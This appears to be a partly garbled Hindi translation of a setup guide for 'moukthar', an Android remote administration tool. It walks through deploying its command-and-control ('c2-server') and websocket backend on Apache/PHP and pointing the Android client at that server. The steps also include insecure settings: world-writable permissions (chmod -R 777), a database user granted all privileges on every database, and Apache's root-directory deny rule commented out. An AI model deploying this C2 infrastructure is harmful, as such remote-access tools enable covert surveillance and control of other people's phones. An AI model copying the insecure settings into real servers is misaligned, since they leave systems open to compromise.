
एंड्रॉइड रिमोट प्रशासन उपकरण
एंड्रॉइड के लिए रिमोट एडमिनिस्ट्रेशन टूल
git clone https://github.com/Tomiwa-Ot/moukthar.git
/var/www/html/ में ले जाएँ और निर्भरताएँ स्थापित करें
mv moukthar/Server/* /var/www/html/
cd /var/www/html/c2-server
composer install
cd /var/www/html/web-socket/
composer install
cd /var/www
chown -R www-data:www-data .
chmod -R 777 .
android और पासवर्ड: androidCREATE USER 'android'@'localhost' IDENTIFIED BY 'your-password';
GRANT ALL PRIVILEGES ON *.* TO 'android'@'localhost';
FLUSH PRIVILEGES;
c2-server/.env और web-socket/.env में डेटाबेस क्रेडेंशियल सेट करेंdatabase.sql निष्पादित करेंphp Server/web-socket/App.php
# या
sudo mv Server/websocket.service /etc/systemd/system/
sudo systemctl daemon-reload
sudo systemctl enable websocket.service
sudo systemctl start websocket.service
/etc/apache2/sites-available/000-default.conf संशोधित करें
<VirtualHost *:80>
ServerAdmin webmaster@localhost
DocumentRoot /var/www/html/c2-server
DirectoryIndex app.php
Options -Indexes
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
/etc/apache2/apache2.conf संशोधित करें
इस अनुभाग को टिप्पणी करें
#<Directory />
# Options FollowSymLinks
# AllowOverride None
# Require all denied
#</Directory>
यह जोड़ें
<Directory /var/www/html/c2-server>
Options -Indexes
DirectoryIndex app.php
AllowOverride All
Require all granted
</Directory>
/etc/php/*.*/apache2/php.ini
; क्लाइंट से बड़ी फ़ाइल अपलोड की अनुमति देने के लिए आकार बढ़ाएँ
upload_max_filesize = 128M
; post_max_size को upload_max_filesize + 1 पर सेट करें
post_max_size = 129M
c2-server/src/View/home.php और c2-server/src/View/features/files.php में
sudo a2enmod rewrite && sudo service apache2 restart
functionality/Utils.java में C2 सर्वर और वेब सॉकेट सर्वर पता सेट करें
public static final String C2_SERVER = "http://localhost";
public static final String WEB_SOCKET_SERVER = "ws://localhost:8080";
